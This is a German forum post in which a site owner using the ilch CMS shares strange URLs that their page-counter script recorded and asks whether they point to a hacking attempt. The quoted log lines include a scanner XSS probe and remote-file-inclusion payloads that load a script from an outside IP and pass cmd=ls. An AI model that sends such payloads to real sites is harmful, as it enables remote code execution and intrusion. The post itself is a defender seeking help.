kann jemand von euch etwas damit anfangen oder sagen wie es dazu kommt das dieser Link aufgerufen wird?
Zitat
index.php?startseite=!S!WCRTESTINPUT000000%3C%3E%3c%3e%253c%253e!E!
Also jetzt nur das Fettgedruckte...
Ich hab vor einiger Zeit ein Counter-Script gebastelt das die Seitenaufrufe zählt und die dazugehörige URL speichert die aufgerufen wurde und mir die Ergebnisse in der ilch-Statistik anzeigt.
Jetzt wurde aber dieser Anhängsel bei mehreren Seiten mitdrangehängt also z.B. auch bei kontakt und impressum - nur bei selbst erstellte Textseiten.
Dinge wie z.B.:
Zitat
index.php?Npage=-1&content_dir=http://62.141.58.186/google.txt%00&cmd=ls
und
Zitat
index.php?_CONFIG[files][functions_page]=http://62.141.58.186/google.txt
wurden auch aufgezeichnet.
Wenn man z.B. die darin vorkommende IP aufruft kommt man auf die Seite von "Au Pair Ocean" - eine Seite mit irgendwelchen Gastfamilien whatever.
Wollte es nur mal posten falls es mit einem (Hack-)Versuch zusammenhängen könnte oder von euch jemand etwas damit anfangen kann...
Wie gesagt ist mir eben in meiner Statistik aufgefallen und sah sie auch erst nach dem Angriff hier bei ilch.